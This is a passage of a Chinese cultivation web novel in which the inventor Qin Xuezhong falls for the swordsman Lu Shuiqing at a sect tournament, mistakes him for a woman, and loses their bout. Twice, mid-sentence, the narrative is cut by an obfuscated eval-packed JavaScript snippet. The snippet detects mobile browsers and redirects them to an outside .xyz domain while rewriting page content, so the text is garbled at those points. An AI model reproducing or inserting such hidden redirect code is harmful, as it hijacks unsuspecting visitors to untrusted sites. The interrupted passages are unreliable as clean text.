不过他回忆了下,确实从他们进城后,但凡有人讨论这次比试的人,一提到路水清,要么说他出身低下嫉妒欺负他师弟,要么说他天才之名水分大,巴不得他这次比试出错。 不知道的,还以为路水清干了什么人神共怒的事,然而一细谈,路水清只出宗去秘境两次,于是他们又说肯定实力太差才不敢出宗。 事出反常必有妖,秦雪重对路水清上心后,只觉得可笑,一个无父无母从大战里捡回来的遗孤,居然敢欺负一个出身顶级大世家,父母还都是救世主的师弟。 奈何谣言兴于愚者。 “真正仰慕路水清的人在后面呢。”车向远往后一指,示意秦雪重看他们身后。 只见后面好些个筑基期的师弟师妹们花痴捧着脸的手还没放下来,尤其六师姐先前因路水清受伤发红的眼如今亮得跟灯泡一样。 秦雪重:“?” “你忘啦?上次你闭关琢磨那叫什么治疗舱的玩意时,二师兄带我们去虚阳秘境,结果中途六师妹和二师兄走散,带着六位弟子落入迷林里一只金丹期的妖兽巢里。” “六师妹他们靠着你给的枪和防护服拖了一会儿,但迷林太大他们跑不过血头雕,眼见一个师弟要被血头雕拦腰截碎,千钧一发间,剑风刺破苍穹、逼退血头雕,路水清御气而来救下那位师弟!” 秦雪重莫名跟着振奋。 车向远道:“路水清杀了那只血头雕后,见六师妹这群人大伤小伤没个全样,停下等他们休整。本以为他会走,没想到后面让六师妹们跟着他,直到护了一路和我们集齐才走。” “她认识我们吗?” 车向远摇头:“六师妹说,在他们休整好后,路水清见他们弟子服脏兮兮的,大概不确定,问他们是否穿云宗弟子。得到他们回答后,只说:跟上。” “修真界还有人记得我们穿云宗,他定是瞧见宗门的面子上才多花了好些时日护送我们。”六师妹他们每次说起这件事,眼睛都湿湿的:“路水清话少,也不要报酬,后来才从别人耳里知道,当时他在附近争抢灵药。他定见林中灵气暴动,特意过来救人的。” 六师妹他们那群人向宗内每个人都讲了几遍,重复了几百次,车向远瞪着秦雪重:“六师妹先前同你说过,你一点没听?!” 秦雪重:“……” 他记得那次回来,六师姐和七师兄他们确实一直在他耳边叭叭的。难怪这次他们来,在城内差点和那些诋毁路水清的人吵起来,进来比试瞅见外面押注的,恨不得所有攒起来的灵石全押给路水清。现在在路水清比试时,更是惊呼不断。 眼不由自主追寻剑宗的方向,明知看不见,秦雪重也舍不得收回。 和方才不同,躁动的心一下安静了。 秦雪重恍然摸着自己心脏跳动的位置,此时此刻,他清楚地知道,他完蛋了。 7. 来了来了 路水清回到座位,手臂不自觉地颤抖,体内灵气疯狂冲撞灵海筋脉,他稳住内息,扫了眼隔壁还没上场的北庭岚。 北庭岚被这轻飘飘的一瞥,直接气得攥紧拳头,连赢数场的喜悦消失殆尽。 捏住右臂,路水清面无表情扭正断裂错位的胳膊,看得出来北庭玉很想给北庭岚报仇,每个阵法都以他右臂为目标。 路水清闭眼,不急不缓地调整着灵气。 他存了学习阵法的心思,毕竟剑谱走不通只能走阵法。 北庭玉到底四级阵修,只是金丹底子不够硬,加上看他一直落败,戒备放低才能被他一举拿下。况且北庭玉没用他的法器丹药,不然以北庭家的底蕴,北庭玉随随便便拿一件法器出来就足够路水清头疼。 不知过了多少场,再次听见秦雪重的号数,路水清睁眼。 这次秦雪重戴了样类似眼纱遮眼,但中间有两个透明圆圆的东西。他上台之后没有掏出他那些古怪但威力巨大的法器,反倒不太习惯地捏着剑,不停躲着对面进攻。 秦雪重对面的人是个剑修,剑风轻快,很多次凌厉剑风堪堪擦脸而过,秦雪重险躲过后,反手再给对面不伦不类、不轻不重的一剑。 伤害不大,但这反击实在让人火大,对面的人力度越来越大。 好几次秦雪重闪躲不及,但他反应极快,仓惶之下竟然用剑挡住了攻击。两剑碰撞,上一息还在为自家师弟担心的三师兄下一息心疼地咬紧衣袖,生怕自己的宝贝法剑受伤。 还是练得不多,秦雪重发力不对,手腕震得生疼。 他这人识趣得紧,当初想当剑修,结果经历了很多次失败,确定自己迈不过去那道槛后,果断捡起自己现代的老兴趣。还好平日里师父硬逼着他练基本功,不然这几下剑都被震飞出去,那脸可就丢大了。 侧身再次躲开剑招,对面剑修很快,身形拉出残影,幸好他特意带了装备,利用自己弄出来的穿戴式灵气捕捉仪清晰抓住对面的一招一式。 可惜技术不到家,最后还是不得已动用热武器,一炮轰开人后,用剑把人打了下去。 纵然用了点别的东西,好歹也算使了剑,至少算半个剑修吧? 秦雪重按捺不住看向路水清,恰巧路水清也在看他。 第三次! 这是他们第三次对视。 这次路水清眼里没有令他惊艳的笑容,清清冷冷的,但仍使得秦雪重心脏几乎爆炸。 秦雪重只敢看了一眼,立马移开视线。 路水清略有疑惑地看着秦雪重背影,直到人彻底消失在视线中。 为什么秦雪重方才用学来别人的剑法,没头没脑地击败别人后,下台前要看他? 羞辱完人后,特意向他宣战? 又是一轮所有人比试结束。 投入签筒的灵运珠好似消失了,没有半点踪迹。 朝仙城城主坐不住。 他这次飞身,从签筒内召唤回灵运珠,碧绿的珠子和之前一样光芒大绽、丝毫不减,灵运珠发现的那位大气运者还在。 朝仙城城主不解,灵运珠现世这么多年,从未见过这种情况。 灵运珠不会出问题。 签筒用了这么多次,也不会有问题。 刻了数字的木签同样没有问题,那只有签上的人有问题。 朝仙城城主取出剩下的木签,灵运珠一触碰木签,好似找到了那位大气运者,在朝仙城城主陡然瞪大的目光中,只见灵运珠光芒剧增,好似拿了一个微缩的太阳,刺眼夺目。 朝仙城城主险些以为光芒要冲破珠子。 “怎么回事?!” “灵运珠!快看灵运珠!” “这是气运吗?!” …… 路水清周遭许多见多识广的大势力弟子跟着惊呼,北座上尊者大能们更是几乎全部站了起来,只差冲到场上。 “疯了!疯了疯了疯了!这能是大气运者?灵运珠要是没出问题,得是天道转世了吧!这光差点刺瞎我眼睛。” 三师兄疯狂拽着秦雪重胳膊,尖叫声恨不得刺破耳膜。 秦雪重很不耐烦地拍掉三师兄的手,什么灵运珠,什么气运之子天道之子,即便自己身上发生了穿越到修真界这种离大谱的事情,不过秦雪重还是对这些玩意不信。 他想的全是路水清,一颗心全飘了过去。 朝仙城城主捏住灵运珠,光芒照亮他双眼,只有朝仙城城主自己知道他花了多大力气才稳住呼吸。 如果两千多年那位大气运者,是影响到修真界的存在,那么拥有这个光芒的人,只怕会颠覆修真界! 此人对修真界究竟是福是祸? 不过当务之急是找出这个人。 朝仙城城主忍住颤抖的手,又将灵运珠靠近取出来的木签,灵运珠的光芒宛如被吸走一般,光芒恢复从前。 于是朝仙城城主将灵运珠放在木签上,只见灵运珠光芒再次变暗,直到消失。 所有人:??? 什么意思? 朝仙城城主沉默半晌,笑道:“没想到这位大气运者还是个痴情种。”他拿开灵运珠,看着灵运珠光芒增增减减:“自愿把气运分出去,倒是一片赤诚。” “想来年岁不大。”符宗宗主跟着打趣了句,然后道:“朝仙城城主能让我们大家见见这位比两千多年那位还要厉害的气运者吗?” 朝仙城城主点头,拿过所有木签:“诸位稍等。” 大概这次的人气运实在过于恐怖,朝仙城城主拿回木签私下测试。 等候的人各怀心思,曾经历过的两千多年那位的尊者们,其实并不希望这样的人出现,先不说如今修真界局势稳定,各大势力站稳脚跟,凭空出来这样一个人不管身处哪方势力都是巨大失衡。 至于下面还没淘汰,准备接着比试的人无不希望是自己,这样强的气运,哪个宗门势力不求着要啊? 三师兄肩膀撞着出神的秦雪重:“嘿,你觉得那个人会是谁呀?” “爱谁谁。” 三师兄满是憧憬:“多好啊,如果我要是这大气运者,师父师兄们不得把我捧起来!” 秦雪重白了他一眼,感情这三十多岁是白活的:“太棒了,这么强的你,居然可以安安稳稳地待在宗里呢。” 三师兄想反怼。 秦雪重猜到他说什么:“两千多年出了个杀不死的筑基,这次他们肯定不敢随便动手?不敢动手难道还不能盯着你?” “大乘,渡劫?什么修为的人没有?到时候别说你的修为,你信不信你每天的内衫底裤都被他们看得清清楚楚。一旦你有任何不利于修真界的言行举止,你确定他们不会再次倾巢出动?以前是几十个金丹,那这次他们出几十个大乘渡劫,别说气运之子,天道来了也得死。” 三师兄倒抽口凉气。 “若这人是你呢?” 秦雪重瞥他:“气运之子如果不是蠢货,肯定不会暴露自己,如果连自己气运都藏不了,当什么大气运者?” 气运这玩意还能藏? 三师兄刚想罢,只见方才离开的朝仙城城主回来了,隐晦地对着上面迫不及待的尊者们摇头。 真没找出来! 三师兄惊讶地望着上面又望着一脸愁闷的师弟,然后又看上面,来回几次,他小声:“师弟,你可以啊,给你猜中了。” 三师兄思考两秒,惊悚道:“有没有真的可能你就是那个大气运者?” 在秦雪重白眼中,三师兄越想越觉得有道理:“你十四年前从我们宗门脚下那条河里冲下来的时候,才四岁呢,身受重伤不说,差一点就死了!好巧不巧闭关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598996|171984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久的师父说自己做了梦,感应到自己的另一个徒弟出现,刚下山就把快死的你救起来。修士啊,谁会平白无故做梦?简直像上天指引师父去救你。” “如果我是气运之子,还会重伤掉到河里?” 那时候他才满十八岁,得到了自己的高考成绩,乐悠悠跑去国外外公家,熬夜设置程序和搭建模型,想以新型的休眠舱为目标想研究出科幻小说里的治疗舱模型。 没想到装好的程序不知道怎么错误,最后连着半成舱品全部爆炸,在他生日那天,不仅把他炸飞到修真界,还炸回到四岁。 “话不能这么说,你之后不还鼓捣出这么多威力大的稀奇法器吗?这是随随便便一个人能弄出来的?” “你觉得凭运气造出来的?” 秦雪重从小喜欢鼓捣东西,小时候拆闹钟、拆玩具、拆电视,大了爱看古代各种冷兵器图纸,但很快他不满足,开始琢磨过时的热武器图纸,做些简单不能用的模型玩具。 直到来到修真界后,修炼少根筋的他才放开手脚,利用灵气和修真界内独一无二的材料将模型改造成可以用的武器。 “我不是这个意思,一个人若没实力,给再多气运有什么用?我只是觉得你来历很神秘,师父带你回来后,百里内的村庄城镇问遍了都找不到你的爹娘,太奇怪了,你怎么看都不像个普通人。” “我气运好怎么不掉到北庭家或者器宗旁边的河里?” 三师兄:“……” 言辞凿凿的他竟然无法反驳。 秦雪重托着腮,比试的人越来越少,金丹目前仅剩一百多人,要不了他会和路水清对上,他该用什么方式上场才够帅够夺目?见面的第一句他又该说什么才能给路水清留下个一个好印象? 你好,我叫秦雪重,你叫什么? 不行,这太干硬了,再说了,在场谁不认识路水清?这不纯装傻吗? 水清小姐? 还是不行,古人对名可是很看重的,太亲昵了,像流氓! 路仙友? 路小姐? 路姑娘? …… 秦雪重绞尽脑汁,他陡然想起,他和路水清两次见面都没给人留下好印象。 第一次在乌烟瘴气的拍卖场,前面那场拍卖的还是炉鼎,路水清会不会以为他是个轻浮下流不思进取,特意来看的啊?! 然后,第二次,就在这比试台上,他也没想起给对面让个一两招。 路水清肯定以为他是那种冷漠暴力的人! 下流、暴力,他还有救吗? 秦雪重越想痛苦,两人见过次数不多,肯定还能救起来的。 就在秦雪重左思右想时,抽签再次开始。 不知不觉从仙门比试正式开始到现在,已经过去四个多月。没办法,金丹、元婴,尤其化神,一对一比试,比得慢的有些甚至需要几天十几天。 比试前备受人议论的两个天才用实力证明了自己,不管座位上,还是在等仙台门口观看的人,无不在想,这两个天才到底谁更胜一筹? 赌坊见形式不对,连忙再开了一局,就押路水清和秦雪重到底谁胜谁败。 烈日当空。 一场激烈对战结束,擂台受损大半,残留着好些法器碎片。 朝仙城城主取签,念出第一对金丹比试者。 “四十三对六百六十六。” ! “豁~” 连着观看数月,早已疲惫,即便化神对比也调动不起激情的全场气氛一下沸腾,人们立马挺直腰杆,目光如炬,不约而同地发出怪声。 “来了!来了来了!” 两个天才,一个十八金丹剑修,一个十七金丹器修。 目前为止,两人从未败过一场,扬名册上排名紧紧咬着,谁也不服谁。 8. 有点骨气! “难得两人第一场对上,剑尘,由你看水清和这位凭空而出的器修天才,谁胜谁败?”器宗宗主问道。 剑宗宗主没有直接下定论:“两人优劣不一,胜负难定。” “剑尘,你可是太谦虚了,大徒弟剑阵双修,一般金丹怕是难以匹敌,此次扬名册进前百不在话下。” 其他尊者并未反对。 路水清的实力不错,对得起他天才之名,可惜终究只是金丹初期。 要知道一旦修为迈入金丹,每个小阶的修为都是天差地别,路水清的确胜过了金丹中期的北庭玉,但他们都看得出来北庭玉尚有余力。 等后面路水清对上金丹巅峰,论他再多手段,以实力碾压想胜也难。 路水清听见自己名号便飞身上擂。 秦雪重舔了舔发干的唇,捋了捋头发,理了理衣袖,摸了摸师父送自己的拜师礼储物袋,从里一掏。 众人眼前一花,一个不小的家伙轰地砸地。 轻薄机身如猎鹰,白色如光刃于夜空般机背绽开,锋锐尽显,即便在场的人不认得这是什么法器,仍能感到其中张扬。 看着秦雪重坐飞机上擂台。 三师兄诧异,什么好日子?这玩意都拿出来了? 想当初师弟久学御剑不会,怒而闭关,一个月后掏出这个能载人的大家伙,成天在天上开来开去,速度甚至比他们御剑还快。 由于这是师弟第一件法器,稀罕的不得了,碰都不让他们碰!可惜因为太耗费灵石加上太占位置没多久就收了起来,后面他做了个能飞的鞋子,更不常用了。 若有现代人在这里,虽然大样子改过了,但一眼就能认出是架超轻型单人飞机! 秦雪重表面气定神闲地收回飞机,感受到路水清掠过飞机的目光,那种自己的物品被心上人打量的成就感蔓延整个胸腔,他心快蹦了出来! 秦雪重用力调整了下呼吸:“改良版灵能单人飞机,我做的。” 路水清:? 没听过的法器,是在示威吗? 厉风扬起衣袍,偌大擂台上,路水清和秦雪重相对而立。再观秦雪重,神情看似洒脱,实则身体直绷。 三师兄和穿云宗其他弟子们紧张地汗水一个劲冒,一时间不知道该为那个加油打气,一个是恩人一个是师弟,谁输都不好受。 “小师弟好认真,先前好几场都没见他这样。” “对面可是路水清!小师弟能不紧张吗?” 路水清轻抬手腕,提剑欲出,只见对面深呼吸、吐气,又深呼吸、再次吐气,双眼看似直面他却没有看他的秦雪重终于动了。 视线交汇,不知是风大还是怎么回事,路水清发现对面秦雪重双耳瞬间蔓延变红,几欲滴血。 秦雪重扬手,没有握住法器的右手对他不太自然地挥了挥。 “你好。” 路水清:什么? 随后他听见秦雪重莫名变得低沉的嗓音:“我……在下秦雪重,见过路姑娘,希望来日我们能交个朋友。” 耳聪目明的众人:啊? 顷刻,登仙台内爆发震耳欲聋的哄笑。 剑宗宗主面色不变,看不出异样。 “哎呦,没看出来,你这徒儿如此胆大。” 穿云宗宗主扶额。 什么胆大?分明是色胆包天! 路水清双眼微沉,势头不减,提剑而出。 长发飞扬,转瞬到了不在情况中的秦雪重面前,心上人漂亮的脸近在咫尺,冷香袭进,脑子被迷成浆糊的秦雪重瞪大眼不敢呼吸,生怕玷污了自己的心上人。 下一息,只见心上人如玫瑰般的唇张开:“瞎子!” 手腕翻转,立竖寒剑对准秦雪重腰间狠狠一扫,路水清一剑拍飞这个不长眼的瞎子。 “砰!” 在所有还在大笑的人猝不及防中,秦雪重砸在地上。 对手出擂台,路水清胜了! 看热闹的人们后知后觉,这场两大天才的对比结束了。 “你疯了?!” 三师兄惊恐地从后面冲上来扶起秦雪重。 秦雪重吃痛地揉腰揉屁股,沉迷心上人的他半点没发现不对劲,连自己输了都忘了,仰头去瞅下擂台的路水清。 果然是心上人,身上香香的,秦雪重变态地回味。 不过心上人最后好像在骂他?好像是骂他瞎子? 心上人干什么骂他瞎子? 不解的秦雪重还不忘敷衍三师兄一句:“什么我疯了。” “你上轮羞辱别人就算了,毕竟路水清也偷学别人的剑法,这次你竟然当众言语侮辱路水清!” “侮辱?!”秦雪重让三师兄严重的词拉回神智,“我怎么侮辱路姑娘了?” 三师兄气得甩开秦雪重:“你还说!” 失去重心的秦雪重跌了两步:“啊?” 看着自家小师弟满脸迷茫的样子,三师兄恨不得敲开秦雪重脑子看看里面是什么。 “你喊路水清姑娘不就是侮辱路水清长得不男不女?!” “啊??!” “啊什么啊?”三师兄没好气拽过秦雪重:“我问你,你是真眼瞎还是看路水清不顺眼?当着这么多人的面,喊他一个大男人喊姑娘。” 车向风短短一句话,宛如晴天霹雳,对着秦雪重劈了一道又一道。 “你……你……你说……”秦雪重艰难地吐字,好像吞钉子般,每一个字对他来说都是巨大的折磨:“路水清,其实,是……是……是,是男的?!” 路水清的模样身形在脑海里回复,虽男生女相,五官十分惊艳,但认真看还是能看出来几分少年的张扬,只是眉眼间的清冷太盛压了下去。 除此之外,路水清的身形高挑纤瘦,却不是寻常女孩子那样柔若无骨。以及方才众人的大笑,还有路水清骂他瞎子。 所有一切串联起来,都证明着路水清是个男的! 然而听见三师兄确定的回答:“不然还能是女子?” 秦雪重还是狠狠失望。 修真界中女修并不少,所以大家并未特意强调过路水清的性别,没人说过,秦雪重自然而然认为路水清是女孩。 他听见自己心碎成一瓣瓣的声音,听见自己还没开始就结束的恋爱破碎声。 秦雪重有气无力地伸手:“扶我一把。” 三师兄瞥他:“方才擂台上不是捏嗓子喊路姑娘挺有的力气吗?你为什么和路水清过意不去?” “我心上人没了。” “心上人?”三师兄不解:“路水清又没抢你心上人。等等!” 三师兄意识到不对劲:“你说的剑宗那个漂亮的金丹修为姑娘,不会是路水清吧!” “小声一点。”秦雪重瞪他:“难道说出来很光荣吗?!” “你有龙阳癖?” “没有。” “意思是你把路水清认成了姑娘,你还喜欢上了他?”三师兄没忍住笑出声: “你不是羞辱他。” “我好端端羞辱别人干什么?”秦雪重脑袋发疼:“下次我给他道歉。” 三师兄在秦雪重杀人的目光中使劲憋住笑声,好不容易笑完了一时间竟然不知道该心疼路水清还是心疼自家的小师弟。 “看来我们的大师兄魅力不错。”林邈不知什么时候从后几排换位到路水清旁边,等路水清回来时,扬着扇子来了一句。 其他金丹弟子配合地讥笑。 “大师兄可是沉鱼落雁、闭月羞花,比那女子好看多了,瞧把穿云宗那位天才迷得五迷三道的。” “何止,直接将这一分拱手让人。” 路水清慢慢看去:“仙门大比不禁同宗弟子相比,若我没记错,除不可伤人性命、不可废人修为外,其他并不制止。” …… 其他人立马噤若寒蝉,他们有的输了,有的还差一场。 幼时林邈被搅碎舌头鲜血淋漓的惨状,他们至今还记得,路水清就是一个疯子!说不定他真敢在大庭广众下动手。 “哎呀。”林邈给路水清扇风:“大师兄何必置气?大家不是夸赞你吗?” “闭嘴。”路水清只想安静看比试,但林邈一过来就像个苍蝇,在耳边嗡嗡嗡的很烦。 林邈不退反进,折扇收拢挑起路水清肩上的长发,温声细语:“长得这么好看,做什么首席弟子当什么大师兄,不如去南风倌做男妓。” 路水清扼住扇尾。 林邈扬眉:“大师兄生气了?” 话音未落,路水清捏住扇柄。灵气顿出,身为法器的扇子扇骨颤动,林邈不甘示弱灵气从掌心而出,两股灵气争锋,林邈不堪一击被压了下去。 两息,法扇碎成齑粉。 林邈顿了顿,眨了眨眼:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598997|171984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水清师弟说笑了不是,师兄是看……” “闭嘴!”寒光一闪而过,锋利剑尖抵住林邈。 林邈无奈摆手,老实了。 这轮比试过完,金丹比试者还剩一百余位。 这一百余人没一个软柿子。 自朝仙城城主没能找出来气运者后,不管大家再好奇只能强行转移注意力。比到现在,根本没有浑水摸鱼的,每一场不管哪个修为的比试无一不精彩。 三师兄嘲笑结束,再清楚不过秦雪重底细的他,担忧道:“剩下的人,修为最低金丹中期,身上厉害法器多的不得了,你只靠你那些法器赢得了吗?” 心碎的秦雪重至今还没缓过来,无精打采地点头:“问题不大。” 从古至今无数科研人员的智慧可不是仅靠灵气就能打败的,他从科技爆炸的新世纪过来,虽然只是个普通高中生,只会一些小玩意,但只是最简单、威力最小的一部分已经够用了。 宗内太缺材料,得到这次的榜首奖励有几页纸那么长,最关键还有一条灵脉,拿到灵脉宗门就可以有自己的宗门山峰,许多碍于灵气不足修炼受阻的弟子们可以肆无忌惮使用。 他必须要得到榜首!为了这次比试,秦雪重提前好几个月便弄出这次需要的装备。 想到这里,秦雪重一改要死不活的样子,立马弹坐起。 三师兄问:“你怎么了?” “我和路水清那场比赛,我是不是输了?!” “对啊,你掉下擂台了,难不成还是路水清输?” “啊!” 秦雪重痛苦抱头,对路水清满腔的爱意瞬间烟消云散:“我的一分!” 喜欢的人变成了男的,爱情没了,分数也没了。 他算是栽路水清手里了。 回想路水清的模样,秦雪重不要脸地发现自己居然还有点心动。 他抓乱头发,秦雪重,有点骨气!道完歉就和路水清老死不相往来,不准多看一眼,长得再好看有什么用?他可是个男的!男的男的男的! 他看扬名册上的金丹排名,金丹轮次一共进行了九轮,上面满分的人三十三个,他方才丢了一分,名次立马滑到下面。 “这一分必须拿回来!” 新的一轮比试开始。 秦雪重这场碰见个靠法器上来的,都是法器,秦雪重不费吹灰之力再拿一分。 器宗宗主不舍地看着秦雪重下去,他惋惜道:“穿云宗定不会放人,可惜了这个器修苗子。” “你看中秦雪重?”旁边的符宗宗主听见。 “此子器修至少四级。” “四级?!” “对。” “穿云宗不可能有器修,也没多余资源送秦雪重修行器修。你的意思是,秦雪重仅凭自己摸索,摸索出来个四级器修?!”再旁边的阵宗宗主跟着震惊。 器宗宗主点头,这些门外汉尚且吃惊,更别说他们身为器修,深知没有传承的器修修炼多么困难。 先前拍卖会上名为“手枪”的法器太过惊艳独特,除了炼制此法器的大师别的器修不可能再拿出一样的来,然而秦雪重一上场,各种各样枪层出不穷。 一把最简单的枪拍卖场里近十万起拍,穿云宗买不起的。 器修宗主即便再不想相信,也不得不承认秦雪重就是那位“看爷爷一炮轰死你”大师。 长老拍下手枪当晚便交给了他,器宗宗主彻夜研究,发现手枪的制作精妙异常。 再从零件的熔炼完整度来看,秦雪重确定四级器修! 这个天赋,器宗宗主毫不犹豫地说,在当今修真界中无人可敌。 “听说穿云宗宗主在秦雪重四岁时捡回去的,十几年感情,不可能交给别人。” “中级器修许是有些机缘,秦雪重若想晋升高级阵修,没有传承,估计止步于此了。” “如此天赋任由荒废,倒可惜了。”北庭家主叹息。 器宗宗主赞同道:“既已拜师认宗,与我们器宗有缘无份。” 这轮进行一半,秦雪重排名往上冲了一小段。 然而压在满分的人仍旧有二十四个,路水清因为还没进行比试,排名暂时了掉了下去。只要路水清不输,他永远差了一分。 满眼痴恋转变成熊熊怒火,秦雪重暗下决定,从哪里跌倒从哪里爬起!这一分,他誓要从路水清手里抢回来!